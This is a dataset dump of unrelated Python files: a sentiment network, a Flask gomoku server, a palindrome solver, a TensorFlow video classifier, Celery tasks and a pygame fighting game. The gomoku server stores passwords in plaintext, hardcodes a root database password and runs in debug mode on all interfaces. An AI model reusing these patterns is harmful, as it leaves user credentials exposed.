a dictionary of labels mapped to index positions\r\n self.label2index = {}\r\n for i,label in enumerate(self.label_vocab):\r\n self.label2index[label]=i\r\n\r\n print(self.review_vocab[:10])\r\n print(len(self.review_vocab))\r\n # print(self.label_vocab)\r\n # print(self.label2index)\r\n\r\n\r\n\r\n def init_network(self, input_nodes, hidden_nodes, output_nodes, learning_rate):\r\n # Store the number of nodes in input, hidden, and output layers.\r\n self.input_nodes = input_nodes\r\n self.hidden_nodes = hidden_nodes\r\n self.output_nodes = output_nodes\r\n\r\n # Store the learning rate\r\n self.learning_rate = learning_rate\r\n\r\n # Initialize weights\r\n\r\n # initialize self.weights_0_1 as a matrix of zeros. These are the weights between\r\n # the input layer and the hidden layer.\r\n # self.weights_0_1 = np.random.normal(size=(self.input_nodes,self.hidden_nodes))\r\n self.weights_0_1 = np.zeros(shape=(self.input_nodes,self.hidden_nodes))\r\n\r\n # initialize self.weights_1_2 as a matrix of random values.\r\n # These are the weights between the hidden layer and the output layer.\r\n # self.weights_1_2 = np.zeros(shape=(self.hidden_nodes, self.output_nodes))\r\n self.weights_1_2 = np.random.normal(0.0, self.output_nodes**-0.5, (self.hidden_nodes, self.output_nodes))\r\n # self.weights_1_2 = np.random.normal(0.0, 1, (self.hidden_nodes, self.output_nodes))\r\n\r\n # Create the input layer, a two-dimensional matrix with shape\r\n # 1 x input_nodes, with all values initialized to zero\r\n # self.layer_0 = np.zeros((1,input_nodes))\r\n\r\n self.layer_1 = np.zeros((1,hidden_nodes))\r\n\r\n\r\n def update_input_layer(self,review):\r\n self.layer_0 *= 0\r\n for w in review.split(' '):\r\n self.layer_0[0][self.word2index[w]] = 1\r\n\r\n def get_target_for_label(self,label):\r\n return self.label2index[label]\r\n\r\n def sigmoid(self,x):\r\n return 1 / (1 + np.exp(-x))\r\n\r\n def sigmoid_output_2_derivative(self,output):\r\n return output*(1-output)\r\n\r\n\r\n def train(self, training_reviews_raw, training_labels):\r\n training_reviews = list()\r\n for review in training_reviews_raw:\r\n indices = set()\r\n for word in review.split(\" \"):\r\n if(word in self.word2index.keys()):\r\n indices.add(self.word2index[word])\r\n training_reviews.append(list(indices))\r\n\r\n # make sure out we have a matching number of reviews and labels\r\n assert(len(training_reviews) == len(training_labels))\r\n\r\n # Keep track of correct predictions to display accuracy during training\r\n correct_so_far = 0\r\n\r\n # Remember when we started for printing time statistics\r\n start = time.time()\r\n\r\n # loop through all the given reviews and run a forward and backward pass,\r\n # updating weights for every item\r\n for i in range(len(training_reviews)):\r\n\r\n # Get the next review and its correct label\r\n review = training_reviews[i]\r\n label = training_labels[i]\r\n\r\n #self.update_input_layer(review)\r\n target = self.get_target_for_label(label)\r\n\r\n # forward pass\r\n\r\n #layer_1_in = np.dot(self.layer_0, self.weights_0_1)\r\n\r\n self.layer_1*=0\r\n for w in review:\r\n self.layer_1 += self.weights_0_1[w]\r\n\r\n layer_1_in = self.layer_1\r\n layer_1_out = layer_1_in\t\t# don't use activation function\r\n\r\n layer_2_in = np.dot(layer_1_out, self.weights_1_2)\r\n layer_2_out = self.sigmoid(layer_2_in)\r\n\r\n output = layer_2_out\r\n\r\n error = target - output\r\n\r\n error_2 = error\r\n error_term_2 = error_2 * self.sigmoid_output_2_derivative(layer_2_out)\r\n\r\n\r\n error_1 = np.dot(error_term_2, self.weights_1_2.T)\r\n error_term_1 = error_1\t\t# no activation function for layer_1 (derivative 1*)\r\n\r\n # backprop\r\n\r\n # print('weights')\r\n # print(self.weights_0_1.shape)\r\n # print(self.weights_1_2.shape)\r\n\r\n # print('error')\r\n # print(error_1.shape)\r\n # print(error_2.shape)\r\n\r\n # print('error term')\r\n # print(error_term_1.shape)\r\n # print(error_term_2.shape)\r\n\r\n # print('layer outputs')\r\n # print(self.layer_0.shape)\r\n # print(layer_1_out.shape)\r\n # print(layer_2_out.shape)\r\n\r\n # d_weights_0_1 = np.dot(self.layer_0.T, error_term_1)\r\n d_weights_1_2 = np.dot(layer_1_out.T, error_term_2)\r\n\r\n # self.weights_0_1 += self.learning_rate * d_weights_0_1\r\n self.weights_1_2 += self.learning_rate * d_weights_1_2\r\n\r\n for index in review:\r\n self.weights_0_1[index] += error_term_1[0] * self.learning_rate # update input-to-hidden weights with gradient descent step\r\n\r\n if abs(error)<0.5:\r\n correct_so_far += 1\r\n\r\n elapsed_time = float(time.time() - start)\r\n reviews_per_second = i / elapsed_time if elapsed_time > 0 else 0\r\n\r\n sys.stdout.write(\"\\rProgress:\" + str(100 * i/float(len(training_reviews)))[:4] \\\r\n + \"% Speed(reviews/sec):\" + str(reviews_per_second)[0:5] \\\r\n + \" #Correct:\" + str(correct_so_far) + \" #Trained:\" + str(i+1) \\\r\n + \" Training Accuracy:\" + str(correct_so_far * 100 / float(i+1))[:4] + \"%\")\r\n if(i % 2500 == 0):\r\n print(\"\")\r\n\r\n\r\n def test(self, testing_reviews, testing_labels):\r\n \"\"\"\r\n Attempts to predict the labels for the given testing_reviews,\r\n and uses the test_labels to calculate the accuracy of those predictions.\r\n \"\"\"\r\n\r\n # keep track of how many correct predictions we make\r\n correct = 0\r\n\r\n # we'll time how many predictions per second we make\r\n start = time.time()\r\n\r\n # Loop through each of the given reviews and call run to predict\r\n # its label.\r\n for i in range(len(testing_reviews)):\r\n pred = self.run(testing_reviews[i])\r\n if(pred == testing_labels[i]):\r\n correct += 1\r\n\r\n # For debug purposes, print out our prediction accuracy and speed\r\n # throughout the prediction process.\r\n\r\n elapsed_time = float(time.time() - start)\r\n reviews_per_second = i / elapsed_time if elapsed_time > 0 else 0\r\n\r\n sys.stdout.write(\"\\rProgress:\" + str(100 * i/float(len(testing_reviews)))[:4] \\\r\n + \"% Speed(reviews/sec):\" + str(reviews_per_second)[0:5] \\\r\n + \" #Correct:\" + str(correct) + \" #Tested:\" + str(i+1) \\\r\n + \" Testing Accuracy:\" + str(correct * 100 / float(i+1))[:4] + \"%\")\r\n\r\n def run(self, review):\r\n \"\"\"\r\n Returns a POSITIVE or NEGATIVE prediction for the given review.\r\n \"\"\"\r\n # Run a forward pass through the network, like in the \"train\" function.\r\n\r\n ## New for Project 5: Removed call to update_input_layer function\r\n # because layer_0 is no longer used\r\n\r\n # Hidden layer\r\n ## New for Project 5: Identify the indices used in the review and then add\r\n # just those weights to layer_1\r\n self.layer_1 *= 0\r\n unique_indices = set()\r\n for word in review.lower().split(\" \"):\r\n if word in self.word2index.keys():\r\n unique_indices.add(self.word2index[word])\r\n for index in unique_indices:\r\n self.layer_1 += self.weights_0_1[index]\r\n\r\n # Output layer\r\n ## New for Project 5: changed to use self.layer_1 instead of local layer_1\r\n layer_2 = self.sigmoid(self.layer_1.dot(self.weights_1_2))\r\n\r\n # Return POSITIVE for values above greater-than-or-equal-to 0.5 in the output layer;\r\n # return NEGATIVE for other values\r\n if(layer_2[0] >= 0.5):\r\n return \"POSITIVE\"\r\n else:\r\n return \"NEGATIVE\"\r\n\r\ndef main():\r\n with open('reviews.txt','r') as f:\r\n reviews = list(map(lambda x:x[:-1],f.readlines()))\r\n\r\n with open('labels.txt','r') as f:\r\n labels = list(map(lambda x:x[:-1].upper(),f.readlines()))\r\n\r\n#\tmlp = SentimentNetwork(reviews, labels, hidden_nodes=10, learning_rate=0.1)\r\n\r\n# \tmlp = SentimentNetwork(reviews,labels, learning_rate=0.01)\r\n# \t#mlp.train(reviews[:10],labels[:10])\r\n# \tmlp.train(reviews[:1000],labels[:1000])\r\n# #\tmlp.train(reviews[:-1000],labels[:-1000])\r\n# \t#mlp.test(reviews[-1000:],labels[-1000:])\r\n# \tmlp.test(reviews[-100:],labels[-100:])\r\n\r\n # mlp = SentimentNetwork(reviews[:-1000],labels[:-1000], learning_rate=0.001)\r\n # mlp.train(reviews[:-1000],labels[:-1000])\r\n\r\n mlp = SentimentNetwork(reviews[:-1000],labels[:-1000],min_count=30,polarity_cutoff=0.7,learning_rate=0.01)\r\n mlp.train(reviews[:-1000],labels[:-1000])\r\n mlp.train(reviews[:-1000],labels[:-1000])\r\n mlp.train(reviews[:-1000],labels[:-1000])\r\n mlp.train(reviews[:-1000],labels[:-1000])\r\n mlp.test(reviews[-1000:],labels[-1000:])\r\n\r\nif __name__=='__main__':\r\n main()\r\n\r\n\r\n","sub_path":"sentiment-network/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":13358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"430354265","text":"from flask import Flask, render_template, request, redirect, session, make_response\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_socketio import *\nimport pymysql\nfrom wuziqi import chess\n\npymysql.install_as_MySQLdb()\n\napp=Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI']='mysql://root:123456@localhost:3306/gobang'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS']=True\napp.config['SQLALCHEMY_COMMIT_ON_TEARDOWN']=True\napp.config['SECRET_KEY'] = \"MY USER\"\nsocketio = SocketIO(app)\ndb=SQLAlchemy(app)\n\n\nclass Players(db.Model):\n __tablename__='players'\n id = db.Column(db.Integer,primary_key=True)\n pname = db.Column(db.String(30),nullable=False,unique=True)\n ppwd = db.Column(db.String(50),nullable=False)\n game_num = db.Column(db.Integer)\n game_victory = db.Column(db.Integer)\n def __init__(self,pname,ppwd,game_nem,game_victory):\n self.pname = pname\n self.ppwd = ppwd\n self.game_num = game_nem\n self.game_victory = game_victory\n\n\n# db.drop_all()\ndb.create_all()\n\n\n@app.route('/register',methods=['GET','POST'])\ndef register():\n if request.method == 'GET':\n return render_template('register.html',solely='-1')\n else:\n pname = request.form.get('uname')\n ppwd = request.form.get('pwd1')\n ppwd2 = request.form.get('pwd2')\n user_num = Players.query.filter_by(pname=pname).count()\n if user_num > 0:\n return render_template('register.html',solely='0')\n elif ppwd != ppwd2:\n return render_template('register.html', solely='1')\n else:\n players = Players(pname,ppwd,0,0)\n db.session.add(players)\n return render_template('index.html',login_ok='0')\n\n\n@app.route('/',methods=['GET','POST'])\ndef login():\n if request.method == 'GET':\n return render_template('index.html',login_ok='0')\n else:\n # 1.接收用户名和密码\n pname = request.form['uname']\n ppwd = request.form['upwd']\n # 2.验证用户名和密码是否正确(数据库查询)\n player = Players.query.filter_by(pname=pname,ppwd=ppwd).first()\n if player:\n if pname in login_user:\n #如果用户已登录,给出提示\n return render_template('index.html',login_ok='2')\n # 登录成功\n login_user.append(pname)#记录所有的登录用户\n if not temp:\n temp.append(pname)\n else:\n L = [0 for _ in range(15*15)]#存储棋盘信息\n room_user[(temp[0],pname)] = L#用户名为键,棋盘信息为值\n print(room_user)\n temp.pop(0)\n return render_template('wait_login.html',username=pname)\n else:\n # 4.如果不正确的话,则给出提示\n return render_template('index.html',login_ok='1')\n\n\n@app.route('/game',methods=[\"GET\",\"POST\"])\ndef game_wiq():\n if request.method == \"GET\":\n return render_template('index.html')\n else:\n user_name = request.form['users']\n players = Players.query.filter_by(pname=user_name).first()\n # vic = players['game_victory']\n # num = players['game_num']\n # print(vic)\n # print(num)\n for users in room_user:\n if user_name in users:\n if user_name == users[1]:\n #二号玩家白色方\n return render_template('wiq.html',name=user_name,isblack='0',color='白子')\n else:\n #一号玩家黑色方\n return render_template('wiq.html',name=user_name,isblack='1',color='黑子')\n\n\n@socketio.on('go_game')\ndef go_game(data):\n user_name = data['name']\n for users in room_user:\n if user_name in users:\n if user_name == users[1]:\n # 当第二个玩家按下对战,通知对手与自己进入\n emit(\"begin\",{\"wait\":'0','name':user_name,'name1':users[0]},broadcast=True)\n break\n else:\n #第一位玩家按下对战,等待第二位\n emit('begin', {\"wait\": '1'})\n break\n else:\n # 尚为匹配到对手\n emit('begin',{\"wait\":'1'})\n\n\n@socketio.on('msg_handling')\ndef on_join(data):\n #获取用户名\n user_name = data['name']\n #横坐标\n x = int(data['x'])\n #纵坐标\n y = int(data['y'])\n print((x,y))\n for users in room_user:\n if user_name in users:\n #白色方\n if user_name == users[1]:\n result = chess(x,y,room_user[users],False)\n if result == -1:\n emit('result_reduction', {'name1':'','names': user_name,'x':\"\",'y':\"\",'victory':''}, broadcast=True)\n if result == 0:\n emit('result_reduction', {'name1':users[1],'names': users[0],\"x\":x,'y':y,'black':'0','victory':''},broadcast=True)\n if result == 1:\n emit('result_reduction', {'name1':users[1],'names': users[0],\"x\":x,'y':y,'black':'0','victory':'2'},broadcast=True)\n break\n #黑色方\n else:\n result = chess(x,y,room_user[users])\n if result == -1:\n emit('result_reduction', {'name1':'','names': user_name,'x':\"\",'y':\"\",'victory':''}, broadcast=True)\n if result == 0:\n emit('result_reduction', {'name1':users[0],'names': users[1],\"x\":x,'y':y,'black':'1','victory':''},broadcast=True)\n if result == 1:\n emit('result_reduction', {'name1':users[0],'names': users[1],\"x\":x,'y':y,'black':'1','victory':'1'},broadcast=True)\n break\n\n\nif __name__ == \"__main__\":\n login_user = []#记录所有已登录的用户\n temp=[]#等待对手时暂时记录自己的信息\n room_user = {}#进入对战的用户,用户名为键,棋盘信息为值\n socketio.run(app,host='0.0.0.0',port=int(\"5000\"),debug=True)","sub_path":"AID1806项目/五子棋/Gobang/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":6008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"369741763","text":"import math\nimport collections\nimport heapq\nimport bisect\nimport functools\n\n\ndef solve(s, ca, cb):\n n = len(s)\n i, j = 0, n - 1\n ans = 0\n d = {\"a\": ca, \"b\": cb}\n while i < j:\n if s[i] == \"/\" and s[j] == \"/\":\n ans += min(ca, cb) * 2\n elif s[i] == \"/\" and s[j] != \"/\":\n ans += d[s[j]]\n elif s[i] != \"/\" and s[j] == \"/\":\n ans += d[s[i]]\n elif s[i] != s[j]:\n return -1\n i += 1\n j -= 1\n return ans\n\n\nif __name__ == '__main__':\n t = int(input())\n for _ in range(t):\n s = input()\n ca = int(input())\n cb = int(input())\n res = solve(s, ca, cb)\n print(res)\n","sub_path":"hackerearth/2022/alg/string/make-the-cheapest-palindrome-1.py","file_name":"make-the-cheapest-palindrome-1.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"216763670","text":"class NewProps:\n def getage(self):\n return 40\n def setage(self, value):\n print(\"set age: {0}\".format(value))\n self._age = value\n age = property(getage, setage, None, None) # get, set, del, doc\n\nX = NewProps()\nprint(X.age) # Вызовет метод getage()\nX.age = 41 # Вызовет метод setage()\nprint(X._age) # Нормальная операция извлечения: нет вызова getage() - _age не определяется property()\nX.job = \"trainer\" # Нормальная операция присваивания атрибута: нет вызова setage()\nprint(X.job) # Нормальная операция извлечения атрибута: нет вызвоа getage()\nprint()\n\n\nclass Classic:\n def __getattr__(self, item): # При обращении к неопределенным атрибутам\n if item == \"age\":\n return 40\n else:\n raise AttributeError\n def __setattr__(self, key, value): # Для всех операций присваивания\n print(\"set {0}: {1}\".format(key, value))\n if key == \"age\":\n self.__dict__[\"_age\"] = value\n else:\n self.__dict__[key] = value\n\nX = Classic()\nprint(X.age) # Вызовет метод __getattr__\nX.age = 41 # Вызовет метод __setattr__\nprint(X._age) # Определен, нет вызова __getattr__\nX.job = \"trainer\" # Запустит метод __setattr__ опять\nprint(X.job) # Определен: нет вызова __getattr__\n","sub_path":"edu/5. classes/extended properties/property().py","file_name":"property().py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"427142324","text":"# Code for implementation of forward pass of retrained MobileNet\n#Borrowed heavily from \n#Tensorflow transfer learning image classification tutorial: https://www.tensorflow.org/tutorials/image_retraining\n#Multi thread for faster processing borrowed from : Dat Tran and his blog article :https://towardsdatascience.com/how-to-train-your-own-object-detector-with-tensorflows-object-detector-api-bec72ecfe1d9\n# The internet in general. Thanks dudes.\n#TODO: Comment this code\n\n\n\nimport argparse\n\nimport numpy as np\nimport tensorflow as tf\nimport cv2\nimport multiprocessing\nfrom multiprocessing import Queue, Pool\nimport time\nimport struct\nimport six\nimport collections\nimport datetime\nfrom threading import Thread\n\n\n\n\n\nclass FPS:\n def __init__(self):\n # store the start time, end time, and total number of frames\n # that were examined between the start and end intervals\n self._start = None\n self._end = None\n self._numFrames = 0\n\n def start(self):\n # start the timer\n self._start = datetime.datetime.now()\n return self\n\n def stop(self):\n # stop the timer\n self._end = datetime.datetime.now()\n\n def update(self):\n # increment the total number of frames examined during the\n # start and end intervals\n self._numFrames += 1\n\n def elapsed(self):\n # return the total number of seconds between the start and\n # end interval\n return (self._end - self._start).total_seconds()\n\n def fps(self):\n # compute the (approximate) frames per second\n return self._numFrames / self.elapsed()\n\n\n\ndef load_graph(model_file):\n graph = tf.Graph()\n graph_def = tf.GraphDef()\n\n with open(model_file, \"rb\") as f:\n graph_def.ParseFromString(f.read())\n with graph.as_default():\n tf.import_graph_def(graph_def)\n\n return graph\n\n\ndef read_tensor_from_image_file(file_name,\n input_height=299,\n input_width=299,\n input_mean=0,\n input_std=255):\n input_name = \"file_reader\"\n output_name = \"normalized\"\n file_reader = tf.read_file(file_name, input_name)\n if file_name.endswith(\".png\"):\n image_reader = tf.image.decode_png(\n file_reader, channels=3, name=\"png_reader\")\n elif file_name.endswith(\".gif\"):\n image_reader = tf.squeeze(\n tf.image.decode_gif(file_reader, name=\"gif_reader\"))\n elif file_name.endswith(\".bmp\"):\n image_reader = tf.image.decode_bmp(file_reader, name=\"bmp_reader\")\n else:\n image_reader = tf.image.decode_jpeg(\n file_reader, channels=3, name=\"jpeg_reader\")\n float_caster = tf.cast(image_reader, tf.float32)\n dims_expander = tf.expand_dims(float_caster, 0)\n resized = tf.image.resize_bilinear(dims_expander, [input_height, input_width])\n normalized = tf.divide(tf.subtract(resized, [input_mean]), [input_std])\n sess = tf.Session()\n result = sess.run(normalized)\n\n return result\n\n\ndef read_tensor_from_jpg_image(input_image,\n input_height=299,\n input_width=299,\n input_mean=0,\n input_std=255):\n\n\n float_caster = tf.cast(input_image, tf.float32)\n dims_expander = tf.expand_dims(float_caster, 0)\n resized = tf.image.resize_bilinear(dims_expander, [input_height, input_width])\n normalized = tf.divide(tf.subtract(resized, [input_mean]), [input_std])\n sess = tf.Session()\n result = sess.run(normalized)\n\n return result\n\ndef load_labels(label_file):\n label = []\n proto_as_ascii_lines = tf.gfile.GFile(label_file).readlines()\n for l in proto_as_ascii_lines:\n label.append(l.rstrip())\n return label\n\n\ndef worker(input_q, output_q,input_model_path,input_layer_path,output_layer_path,img_mean,img_std,img_height,img_width,label_file_path):\n # Load a (frozen) Tensorflow model into memory.\n model_file = input_model_path\n input_layer = input_layer_path\n output_layer = output_layer_path\n input_height = img_height\n input_width = img_width\n input_mean = img_mean\n input_std = img_std\n label_file = label_file_path\n\n graph = load_graph(model_file)\n input_name = \"import/\" + input_layer\n output_name = \"import/\" + output_layer\n input_operation = graph.get_operation_by_name(input_name)\n output_operation = graph.get_operation_by_name(output_name)\n with tf.Session(graph=graph) as sess:\n fps = FPS().start()\n while True:\n fps.update()\n frame = input_q.get()\n t = read_tensor_from_jpg_image(\n frame,\n input_height=input_height,\n input_width=input_width,\n input_mean=input_mean,\n input_std=input_std)\n\n results = sess.run(output_operation.outputs[0], {\n input_operation.outputs[0]: t\n })\n results = np.squeeze(results)\n labels = load_labels(label_file)\n prediction_string = str(labels[0]) + ' ' + ':' + ' ' + str(results[0])\n cv2.putText(img=frame, text=prediction_string, org=(int(input_width / 2), int(input_height / 2)),\n fontFace=cv2.FONT_HERSHEY_DUPLEX, fontScale=0.5,\n color=(0, 255, 0))\n output_q.put(frame)\n\n fps.stop()\n sess.close()\n\n\n\n\n\nif __name__ == '__main__':\n\n model_file = r'C:\\tmp\\output_graph.pb'\n label_file = r'C:\\tmp\\output_labels.txt'\n vid_path = r'C:\\Users\\PaballoM\\OneDrive\\ML Projects\\Deep Learning\\Applications\\Ad_Dectection\\Hollard\\creative\\Hollard_Funeral_Plan.mp4'\n input_height = 224\n input_width = 224\n input_mean = 0\n input_std = 255\n input_layer = 'module_apply_default/hub_input/Mul'\n output_layer = 'final_result'\n queue_size = 10\n num_workers = 6\n\n\n input_q = Queue(5)\n output_q = Queue()\n for i in range(2):\n this_thread = Thread(target=worker, args=(input_q, output_q,model_file,input_layer,output_layer,input_mean,input_std,input_height,input_width,label_file))\n this_thread.daemon =True\n this_thread.start()\n\n cap = cv2.VideoCapture(vid_path)\n\n\n fps = FPS().start()\n\n # i = 0\n while (True):\n # Capture frame-by-frame\n ret, frame = cap.read()\n input_q.put(frame)\n\n t = time.time()\n if output_q.empty():\n pass\n else:\n output_frame = output_q.get()\n cv2.imshow('frame', output_frame)\n fps.update()\n\n print('[INFO] elapsed time: {:.2f}'.format(time.time() - t))\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n fps.stop()\n print('[INFO] elapsed time (total): {:.2f}'.format(fps.elapsed()))\n print('[INFO] approx. FPS: {:.2f}'.format(fps.fps()))\n\n cv2.destroyAllWindows()\n\n","sub_path":"Deep Learning/Deep Learning Projects/Video Ad Recognition/MobileNet_Implementation/MutliThread_Video_Advert_Recogntion.py","file_name":"MutliThread_Video_Advert_Recogntion.py","file_ext":"py","file_size_in_byte":6847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"329679614","text":"import sys\n\ndef isPalindrome(number):\n\treturn len(number) == 1 or number[:len(number) // 2] == number[:-(len(number) // 2) - 1:-1]\n\nfor line in open(sys.argv[1]):\n\tL, R = tuple(map(int, line.rstrip().split()))\n\tnumbers = list(map(lambda x: x if isPalindrome(str(x)) else None, range(L, R + 1)))\n\tcount = 0\n\tfor l in range(1, len(numbers) + 1):\n\t\tfor k in range(0, len(numbers) - l + 1):\n\t\t\tif len(list(filter(lambda x: x, numbers[k : k + l]))) % 2 == 0: count += 1\n\tprint(count)","sub_path":"hard/python/17_palindromic_ranges.py3","file_name":"17_palindromic_ranges.py3","file_ext":"py3","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"529842378","text":"from celery import Celery\nfrom celery.schedules import crontab\n\nfrom webapp import create_app\nfrom webapp.news.parsers import avito\n\nflask_app = create_app()\ncelery_app = Celery('tasks', broker='redis://localhost:6379/0')\ncelery_app.conf.update(flask_app.config)\n\n\n@celery_app.task\ndef avito_snippets():\n print(\"Вход в habr_snippets()\")\n with flask_app.app_context():\n avito.get_ads_snippets()\n\n\n@celery_app.task\ndef habr_content():\n print(\"Вход в habr_content()\")\n with flask_app.app_context():\n habr.get_news_content()\n\n\n@celery_app.on_after_configure.connect\ndef setup_periodic_tasks(sender, **kwargs):\n sender.add_periodic_task(crontab(minute='*/1'), avito_snippets.s())\n sender.add_periodic_task(crontab(minute='*/2'), habr_content.s())\n","sub_path":"tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"577826666","text":"# Ian Davis jid7da Fighting Game\n# Mary Blankemeier mhb5zf\n# Sprites by AngryBoy on DBZVortex\n# Splash Screen from\n#\n# Music from Dragon Ball\n\nimport gamebox\nimport pygame\nimport math\nCAMERA_WIDTH, CAMERA_HEIGHT = 1000, 600\ncamera = gamebox.Camera(CAMERA_WIDTH, CAMERA_HEIGHT)\nticks = 0\nbackground = gamebox.from_color(500, 570, \"green\", 2000, 50)\nsidewalls = [gamebox.from_color(-100, 300, \"green\", 200, 1500), gamebox.from_color(1100, 300, \"green\", 200, 1500)]\nmusic = gamebox.load_sound(\"Boss-5-looped.ogg\")\nkamehameha = gamebox.load_sound(\"Kamehameha.ogg\")\nbackgroundscreen = gamebox.from_image(500, 200, \"DBZBackground.png\")\nbackgroundscreen.scale_by(1.7)\nkamehameha_sprsheet = gamebox.load_sprite_sheet('Kamehameha-blast-2.png', 1, 9)\ntransform_sprsheet = gamebox.load_sprite_sheet('Goku-Saiyan-Transformation.png', 3, 5)\n\nstatus_affects_p1 = []\nfacing_left_p1 = False\nanimation_frame_count_p1 = 0\nattackbox_p1_exists = False\nattackbox_p1 = gamebox.from_color(-100, -100, 'red', 1, 1)\non_hit_p1 = False\nattack_cooldown_p1 = 0\ndoublejump_p1 = False\nkamehameha_list_p1 = []\non_press_p1 = False\ncharge_p1 = 0\ntransform_bar_p1 = 0\ntransform_bar1_p1 = 0\n\nstatus_affects_p2 = []\nfacing_left_p2 = True\nanimation_frame_count_p2 = 0\nattackbox_p2_exists = False\nattackbox_p2 = gamebox.from_color(1100, -100, 'red', 1, 1)\non_hit_p2 = False\nattack_cooldown_p2 = 0\ndoublejump_p2 = False\nkamehameha_list_p2 = []\non_press_p2 = False\ncharge_p2 = 0\ntransform_bar_p2 = 0\ntransform_bar1_p2 = 0\n\nsplash_screen = gamebox.from_image(CAMERA_WIDTH/2, CAMERA_HEIGHT/2+20, 'Goku-VS-Frieza.png')\nsplash_screen.width = camera.width\nshow_splash = True\ncharacter_select = False\n\n\ndef splash(keys):\n global show_splash\n global character_select\n global ticks\n if ticks == 0:\n pygame.mixer.music.load(\"Piccolos Theme.ogg\")\n pygame.mixer.music.play(-1)\n camera.draw(splash_screen)\n camera.display()\n if keys:\n show_splash = False\n character_select = True\n #pygame.mixer.Channel(1).play(pygame.mixer.Sound('misc_menu_4.wav'))\n ticks = -1\n ticks += 1\n\n\ncharacter_select_pic = gamebox.from_image(CAMERA_WIDTH/2, CAMERA_HEIGHT/2, 'Goku-Vegeta.png')\ncharacter_select_pic.height = camera.height\ncharacter_list = ['Goku-sprite-sheet.png','Goku-sprite-sheet-red.png']\ncharacter_p1 = 0\ncharacter_p2 = 0\nicons = gamebox.load_sprite_sheet('Big Icons.png', 1, 10)\nselect_highlight_toggle_p1 = False\nselect_highlight_toggle_p2 = False\n\n\ndef character_select_screen(keys):\n global character_select, character_p1, character_p2, ticks, select_highlight_toggle_p1, select_highlight_toggle_p2\n global playerone, playertwo, sprsheet_p1, sprsheet_p2\n if ticks == 0:\n pygame.mixer.music.load(\"Perfect Cell Theme.ogg\")\n pygame.mixer.music.play(-1)\n if pygame.K_LEFT in keys and not select_highlight_toggle_p1:\n character_p1 -= 1\n pygame.mixer.Channel(1).play(pygame.mixer.Sound('click.wav'))\n if pygame.K_RIGHT in keys and not select_highlight_toggle_p1:\n character_p1 += 1\n pygame.mixer.Channel(1).play(pygame.mixer.Sound('click.wav'))\n if pygame.K_PERIOD in keys:\n select_highlight_toggle_p1 = not select_highlight_toggle_p1\n pygame.mixer.Channel(2).play(pygame.mixer.Sound('misc_menu_4.wav'))\n if pygame.K_a in keys and not select_highlight_toggle_p2:\n character_p2 -= 1\n pygame.mixer.Channel(2).play(pygame.mixer.Sound('click.wav'))\n if pygame.K_d in keys and not select_highlight_toggle_p2:\n character_p2 += 1\n pygame.mixer.Channel(2).play(pygame.mixer.Sound('click.wav'))\n if pygame.K_LSHIFT in keys:\n select_highlight_toggle_p2 = not select_highlight_toggle_p2\n pygame.mixer.Channel(2).play(pygame.mixer.Sound('misc_menu_4.wav'))\n if (pygame.K_COMMA in keys or pygame.K_LCTRL in keys) and (select_highlight_toggle_p1 and select_highlight_toggle_p2):\n character_select = False\n ticks = -1\n sprsheet_p1 = gamebox.load_sprite_sheet(character_list[character_p1%len(character_list)], 9, 11)\n sprsheet_p2 = gamebox.load_sprite_sheet(character_list[character_p2%len(character_list)], 9, 11)\n playerone = gamebox.from_image(300, 0, sprsheet_p1[0])\n playerone.scale_by(1.75)\n playertwo = gamebox.from_image(700, 0, sprsheet_p2[0])\n playertwo.scale_by(1.75)\n keys.clear()\n select_highlight_p1 = gamebox.from_color(100, 350, 'gold', 130, 178)\n select_highlight_p2 = gamebox.from_color(300, 350, 'gold', 130, 178)\n character1 = gamebox.from_image(100, 350, icons[character_p1%2])\n character2 = gamebox.from_image(300, 350, icons[character_p2%2])\n camera.draw(character_select_pic)\n if select_highlight_toggle_p1:\n camera.draw(select_highlight_p1)\n if select_highlight_toggle_p2:\n camera.draw(select_highlight_p2)\n camera.draw(character1)\n camera.draw(character2)\n camera.display()\n ticks += 1\n\n\ndef tick(keys):\n global ticks, sprsheet_p1, sprsheet_p2, kamehameha_sprsheet, kamehameha\n global playeroneimage, playerone, status_affects_p1, facing_left_p1, animation_frame_count_p1, attackbox_p1_exists\n global attackbox_p1, on_hit_p1, attack_cooldown_p1, doublejump_p1, kamehameha_list_p1, on_press_p1, charge_p1\n global transform_bar_p1, transform_bar1_p1\n global playertwoimage, playertwo, status_affects_p2, facing_left_p2, animation_frame_count_p2, attackbox_p2_exists\n global attackbox_p2, on_hit_p2, attack_cooldown_p2, doublejump_p2, kamehameha_list_p2, on_press_p2, charge_p2\n global transform_bar_p2, transform_bar1_p2\n if show_splash:\n splash(keys)\n keys.clear()\n return\n if character_select:\n character_select_screen(keys)\n keys.clear()\n return\n if ticks == 0:\n pygame.mixer.music.load(\"Boss-5-looped.ogg\")\n pygame.mixer.music.play(-1)\n ticks += 1\n scoredisplay = gamebox.from_text(0, 0, \"SCORE: \" + str(ticks // 30), \"Arial\", 14, \"red\", italic=True)\n scoredisplay.top = camera.top\n scoredisplay.right = camera.right\n\n # MOVEMENT PLAYER ONE #####\n # UP\n if pygame.K_UP in keys and playerone.touches(background):\n playerone.yspeed = -10\n status_affects_p1.append('airborne')\n if not playerone.touches(background) and not doublejump_p1 and pygame.K_UP in keys:\n doublejump_p1 = True\n playerone.yspeed = -10\n if playerone.touches(background):\n doublejump_p1 = False\n if 'airborne' in status_affects_p1 and animation_frame_count_p1 == 0:\n playeroneimage = sprsheet_p1[2]\n # 